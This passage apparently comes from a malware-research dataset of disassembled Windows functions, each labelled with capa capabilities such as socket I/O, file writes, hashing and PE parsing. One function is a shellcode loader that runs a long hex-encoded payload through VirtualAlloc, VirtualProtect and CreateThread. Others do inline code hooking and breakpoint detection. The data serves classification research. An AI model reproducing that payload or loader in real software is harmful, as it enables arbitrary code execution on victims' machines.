joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140051060
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x140051184
cmp r8d, 0xff
jne 0x1400510c1
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400510ab
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x74600]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14002da70
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14002da70
cmp r8d, 0xfb
jne 0x1400510d3
lea r9, str.WILL
jmp 0x140051111
cmp r8d, 0xfc
jne 0x1400510e5
lea r9, str.WONT
jmp 0x140051111
cmp r8d, 0xfd
jne 0x1400510f7
lea r9, [0x140075024]
jmp 0x140051111
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14005116d
cmp r10d, 0x27
jg 0x140051144
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x74c20]
test r8, r8
jne 0x140051154
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14002da70
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14005112b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14002da70
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14002da70
add rsp, 0x38
ret

Function at 0x1400514d0
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005152f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002d8f0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.140051060
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400516e0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140051888
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x140051745
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140051745
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140051745
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14005177c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400517d2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400517d2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400517d2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400517d2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400517d2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140051190
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140051834
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002d8f0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140051560
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140051880
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002d8f0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x140052ff0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140083080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140053085
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400530e6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14002d8f0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140066180
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400531a1
sub ecx, 1
je 0x140053214
sub ecx, 1
je 0x140053150
cmp ecx, 1
je 0x140053133
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140072a80]
call fcn.14002d8f0
jmp 0x140053214
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.140052d20
test eax, eax
je 0x140053214
jmp 0x1400530ba
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140053214
sub rax, rsi
cmp rax, rbp
jae 0x140053214
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14002da70
jmp 0x140053214
cmp r8d, 4
jle 0x140053214
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140053214
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14002d810
mov esi, eax
test eax, eax
je 0x1400531f3
mov edx, 5
mov rcx, rbx
call fcn.140053ce0
mov eax, esi
jmp 0x1400530ba
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14003c110
mov rcx, r14
call fcn.14003c3f0
test eax, eax
je 0x1400530b8
mov edx, 5
mov rcx, rbx
call fcn.140053ce0
mov eax, Ordinal_46
jmp 0x1400530ba
Function at 0x140065fb0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140065ff2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140066039
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140066092
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140066050
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400660d3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14007820a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14007820b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400660a0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140066fb0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140066ffa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140066ffa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140066ffa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140066ffa
cmp dword [rcx + 0x84], 0xe
jbe 0x140066ffa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140066ffc
xor al, al
add rsp, 0x28
ret
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013360
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400146a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400146c0
xor al, al
jmp 0x140014741
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400146d3
xor al, al
jmp 0x140014741
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400146fd
xor al, al
jmp 0x140014741
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014711
xor al, al
jmp 0x140014741
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014723
xor al, al
jmp 0x140014741
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001473f
xor al, al
jmp 0x140014741
mov al, 1
add rsp, 0x38
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140001000
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
mov ecx, 0
xor rdx, rdx
mov dl, byte [0x1400032c5]
mov r8d, 0x3000
mov r9d, 4
sub rsp, 0x20
call sub.KERNEL32.dll_VirtualAlloc
add rsp, 0x20
mov qword [0x140003310], rax
lea rcx, str.__20s_:_0x__016p_r_n
lea rdx, str.payload_addr
lea r8, str.4831c94881e9ddffffff488d05efffffff48bb13b7c702bebb7bc948315827482df8ffffffe2f4efff44e64e53bbc913b78653ffeb299845fff6d0dbf3f09b73ff4c50a6f3f09b33ff4c70eef3747e59fd8a3377f34a09bf8ba67ebc975b88d27eca43bf7a992441f6964a35e95b42518b8f036e30fb4113b7c74a3b7b0fae5bb6175235f3638d98f7e74bbf6b989f5b480e43358ff38112618a3377f34a09bff606cbb3fa7a082b57b2f3f2b837ed1bf2fed3cb63238d98f7e34bbf6b1d8898bb8f4635fb678012678689ba3333c8c3f69f43e6e5229352ef865bffe1334aff978650415b23884aed8f89ac522c36ec489a4a04ba7bc913b7c702bef3f64412b6c702ff014a427c3038d7055b66e319f67da42b06e636c6ff44c696877db519373ce2cbbec08e00c5a868bee23a40c9481261dfd718e776cfa202bebb7bc9
sub rsp, 0x20
call fcn.140001b70
add rsp, 0x20
lea rcx, str.__20s_:_0x__016p_r_n
lea rdx, str.exec_mem_addr
mov r8, qword [0x140003310]
sub rsp, 0x20
call fcn.140001b70
add rsp, 0x20
mov rcx, qword [0x140003310]
lea rdx, str.4831c94881e9ddffffff488d05efffffff48bb13b7c702bebb7bc948315827482df8ffffffe2f4efff44e64e53bbc913b78653ffeb299845fff6d0dbf3f09b73ff4c50a6f3f09b33ff4c70eef3747e59fd8a3377f34a09bf8ba67ebc975b88d27eca43bf7a992441f6964a35e95b42518b8f036e30fb4113b7c74a3b7b0fae5bb6175235f3638d98f7e74bbf6b989f5b480e43358ff38112618a3377f34a09bff606cbb3fa7a082b57b2f3f2b837ed1bf2fed3cb63238d98f7e34bbf6b1d8898bb8f4635fb678012678689ba3333c8c3f69f43e6e5229352ef865bffe1334aff978650415b23884aed8f89ac522c36ec489a4a04ba7bc913b7c702bef3f64412b6c702ff014a427c3038d7055b66e319f67da42b06e636c6ff44c696877db519373ce2cbbec08e00c5a868bee23a40c9481261dfd718e776cfa202bebb7bc9
xor r8, r8
mov r8b, byte [0x1400032c5]
sub rsp, 0x20
call sub.KERNEL32.dll_RtlMoveMemory
add rsp, 0x20
mov rcx, qword [0x140003310]
xor rdx, rdx
mov dl, byte [0x1400032c5]
mov r8d, 0x20
xor r9, r9
lea r9, [0x140003318]
sub rsp, 0x20
call sub.KERNEL32.dll_VirtualProtect
add rsp, 0x20
push rax
lea rcx, str.Hit_me__r_n
sub rsp, 0x20
call fcn.140001b70
add rsp, 0x20
sub rsp, 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_getchar
add rsp, 0x20
pop rax
je 0x140001113
xor rcx, rcx
xor rdx, rdx
mov r8, qword [0x140003310]
xor r9, r9
push r9
push r9
call sub.KERNEL32.dll_CreateThread
mov rcx, rax
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
xor rax, rax
call sub.KERNEL32.dll_ExitProcess
int3
Function at 0x180020540
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x18002059a
mov r11b, 0x23
lea rdi, [0x180004db0]
movzx ebx, byte [r10]
dec rdx
inc r10
cmp bl, r11b
jne 0x180020584
cmp rdx, 2
jb 0x180020584
cmp byte [r10], r11b
jne 0x180020584
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rbx
shr r9d, 8
xor r9d, dword [rdi + rcx*4]
test rdx, rdx
jne 0x180020562
jmp 0x1800205db
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x1800205db
mov r11b, 0x23
lea rdi, [0x180004db0]
cmp dl, r11b
jne 0x1800205bf
cmp byte [r10], r11b
jne 0x1800205bf
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rdi + rcx*4]
test dl, dl
jne 0x1800205ad
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x180020718
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180020739
and qword [r8], 0
lea rdx, [0x180002880]
call fcn.1800205ec
mov rbx, rax
test rax, rax
je 0x1800207fc
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x1800207f3
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1800207f3
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x1800207f3
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1800207f3
mov rsi, rdi
cmp rdi, 0xffffffffffffffff
je 0x1800207f3
mov rcx, rdi
call fcn.18002509c
mov rdi, rax
test rax, rax
je 0x1800207f3
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x1800207e0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call fcn.1800250e4
jmp 0x1800207fc
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x1800207ee
mov qword [r14], rsi
mov rax, rdi
jmp 0x1800207fe
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x180024764
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x18009a010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [rcx + 0xf8]
mov r8, rdx
mov qword [rsp + 0x20], rdx
mov r9, rcx
movsxd rdx, dword [rcx + 0xf0]
mov r10d, 8
mov ebx, dword [rax + rdx*4 - 4]
lea rdx, [rsp + 0x20]
not ebx
movzx eax, byte [rdx]
inc rdx
movzx ecx, bl
xor rcx, rax
shr ebx, 8
lea rax, [0x180004db0]
xor ebx, dword [rax + rcx*4]
sub r10, 1
jne 0x1800247a3
mov rcx, qword [r9]
not ebx
cmp dword [rcx + 0x4050], ebx
jne 0x1800247da
lea edx, [r10 + 0xc]
mov ecx, ebx
call fcn.18003d0e0
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800941e0
add rsp, 0x30
pop rbx
ret

Function at 0x1800247f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x18009a010]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd r8, dword [rcx + 0xf0]
mov r11d, 4
mov rax, qword [rcx + 0xf8]
mov r9, rcx
mov dword [rsp + 0x20], edx
mov r10d, r11d
mov ebx, dword [rax + r8*4 - 4]
lea r8, [rsp + 0x20]
not ebx
movzx eax, byte [r8]
inc r8
movzx ecx, bl
xor rcx, rax
shr ebx, 8
lea rax, [0x180004db0]
xor ebx, dword [rax + rcx*4]
sub r10, 1
jne 0x18002482f
mov rcx, qword [r9]
not ebx
cmp dword [rcx + 0x4050], ebx
jne 0x180024869
movsxd r8, edx
mov ecx, ebx
mov edx, r11d
call fcn.18003d0e0
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800941e0
add rsp, 0x30
pop rbx
ret

Function at 0x180024880
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x28
mov rax, qword [0x18009a010]
xor rax, rsp
mov qword [rsp + 0x10], rax
movss xmm2, dword [rcx + 0x110]
lea r9, [rsp]
movss xmm3, dword [rcx + 0x114]
mov r10d, 0x10
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
mov rax, qword [rcx + 0xf8]
subss xmm1, xmm3
movsxd rcx, dword [rcx + 0xf0]
movss dword [rsp], xmm0
movss xmm0, dword [rdx + 8]
mov r8d, dword [rax + rcx*4 - 4]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
not r8d
movss xmm1, dword [rdx + 0xc]
subss xmm1, xmm3
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
movzx ecx, byte [r9]
lea rax, [0x180004db0]
movzx edx, r8b
inc r9
xor rdx, rcx
shr r8d, 8
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x1800248fd
not r8d
mov eax, r8d
mov rcx, qword [rsp + 0x10]
xor rcx, rsp
call fcn.1800941e0
add rsp, 0x28
ret
Function at 0x180035fb8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5f78], 0
lea rdi, [rcx + 0x5f80]
mov rbx, rcx
mov rsi, r8
mov rcx, rdi
mov rbp, rdx
je 0x180036035
xor edx, edx
call fcn.18003e300
mov r8, rsi
mov rdx, rbp
mov rcx, rdi
call fcn.1800214a8
mov eax, dword [rdi]
mov edx, 1
mov r9, qword [rbx + 0x5f78]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x18009efb0]
movsxd r8, eax
mov rax, qword [rbx + 0x5f88]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x18003603a
call fcn.1800214a8
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180036964
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x18009efb8]
mov rbx, rcx
and dword [rax + 0x5ed4], 0
test rcx, rcx
je 0x1800369cd
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1800369d8
lea rdx, [0x180002884]
mov rcx, rbx
mov rdi, rax
call fcn.1800205ec
mov rbx, rax
test rax, rax
je 0x1800369cd
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x18006904c
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x18009efb8]
test rax, rax
je 0x180069067
mov rbx, qword [rax + 0x90]
jmp 0x180069069
xor ebx, ebx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rbx + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x180069094
and dword [rbx + 0x2c], eax
add rsp, 0x20
pop rbx
ret
Function at 0x180092c98
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x180092cfc
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x180092cea
mov r8, qword [rbx]
xor edx, edx
mov r8d, dword [r8 + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180092ce3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x180092cb7
mov r8, qword [rbx]
xor edx, edx
mov rcx, qword [0x18009efd8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180092d0c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x18009a010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
mov esi, edx
imul rbx, rax, 0x38
add rbx, qword [0x1800a0520]
mov rdx, qword [rbx]
mov cl, byte [rbx + 0x20]
mov rbp, rdx
lea rdi, [rdx - 5]
and cl, 1
je 0x180092d51
mov rbp, rdi
movzx eax, cl
lea r9, [rsp + 0x20]
test cl, cl
mov r8d, 0x40
cmove rdi, rdx
lea r14, [rax*2 + 5]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180092d87
mov eax, 0xa
jmp 0x180092e16
test esi, esi
je 0x180092da9
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, ebp
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180092dca
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180092dca
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180092dc4
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180092dca
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, sil
shl sil, 2
add al, al
xor al, byte [rbx + 0x20]
and al, 2
xor al, byte [rbx + 0x20]
xor sil, al
and sil, 4
xor sil, al
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800941e0
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x1800930fc
Capabilities:
Check for software breakpoints

Disassembly:
mov r8b, byte [rcx]
mov r9d, edx
test r8b, r8b
je 0x180093113
cmp r8b, 0x90
je 0x180093113
cmp r8b, 0xcc
jne 0x180093135
mov r10d, 1
mov edx, r10d
cmp r9d, r10d
jbe 0x180093131
mov eax, edx
cmp byte [rax + rcx], r8b
jne 0x180093135
add edx, r10d
cmp edx, r9d
jb 0x180093121
mov eax, r10d
ret
xor eax, eax
ret
Function at 0x180093510
Capabilities:
Create thread

Disassembly:
push rbx
